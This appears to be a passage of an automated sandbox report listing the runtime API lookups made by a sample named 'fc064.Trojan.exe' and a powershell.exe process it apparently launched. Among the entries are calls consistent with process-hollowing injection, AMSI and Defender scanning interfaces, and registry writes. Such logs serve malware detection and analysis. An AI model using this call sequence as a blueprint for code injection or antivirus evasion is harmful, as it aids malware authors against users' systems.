RegisterShimImplCleanupCallback (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter _CorExeMain_RetAddr (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter _CorExeMain (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetProcessMemoryInfo (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter IsAppThemed (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter IsAppThemedW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateActCtx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateActCtxA (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegisterWindowMessage (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegisterWindowMessageW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetSystemMetrics (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetModuleHandle (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetModuleHandleW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter WideCharToMultiByte (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ProcessIdToSessionId (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ImmCreateContext (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ImmDestroyContext (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ImmNotifyIME (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ImmAssociateContext (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ImmReleaseContext (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ImmGetContext (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringA (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringA (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ImmGetCompositionStringW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ImmSetCompositionStringW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ImmSetCandidateWindow (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter AdjustWindowRectEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter DuplicateHandle (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter DefWindowProcW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetStockObject (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegisterClass (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegisterClassW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateWindowEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateWindowExW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SetWindowLong (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SetWindowLongW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetWindowLong (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetWindowLongW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CallWindowProc (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CallWindowProcW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetClientRect (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetWindowRect (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetParent (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetUserObjectInformation (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetUserObjectInformationA (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetClassInfo (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetClassInfoW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter DefWindowProc (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SystemParametersInfo (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SystemParametersInfoW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetDC (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdiplusStartup (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdipCreateFontFromLogfontW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ND_RI2 (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ND_RI2_RetAddr (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ND_RU1 (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ND_RU1_RetAddr (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdipGetFontUnit (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdipGetFontSize (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdipGetFontStyle (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdipGetFamily (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ReleaseDC (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdipCreateFromHDC (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdipGetDpiY (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdipGetFontHeight (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdipGetEmHeight (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdipGetLineSpacing (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdipDeleteGraphics (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdipCreateFont (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetThemeAppProperties (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetThemeAppPropertiesW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter OpenThemeData (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter OpenThemeDataW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CryptAcquireContext (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CryptGetProvParam (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CryptContextAddRef (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CryptImportKey (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CryptDuplicateKey (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CryptSetKeyParam (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CryptDecrypt (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter WldpIsDynamicCodePolicyEnabled (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpAmsiNotify (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter IsWow64Process2 (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegSetValueEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegSetValueExW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegCreateKeyEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter RegCreateKeyExW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ShellExecuteEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ShellExecuteExW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CryptDestroyKey (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateProcess (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateProcessW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter Wow64GetThreadContext (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter Wow64SetThreadContext (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter NtResumeThread (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SetClassLong (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter SetClassLongW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter PostMessage (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter PostMessageW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter UnregisterClass (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter UnregisterClassW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter IsWindow (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter DestroyWindow (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter DestroyWindowW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CloseThemeData (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CloseThemeDataW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter GdipDeleteFont (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00007512) "fc064.Trojan.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00007512) "powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RtlRegisterFeatureConfigurationChangeNotification (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RtlDisownModuleHeapAllocation (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter LogStagedFeatureUsage (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00000848) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00000848) "powershell.exe" 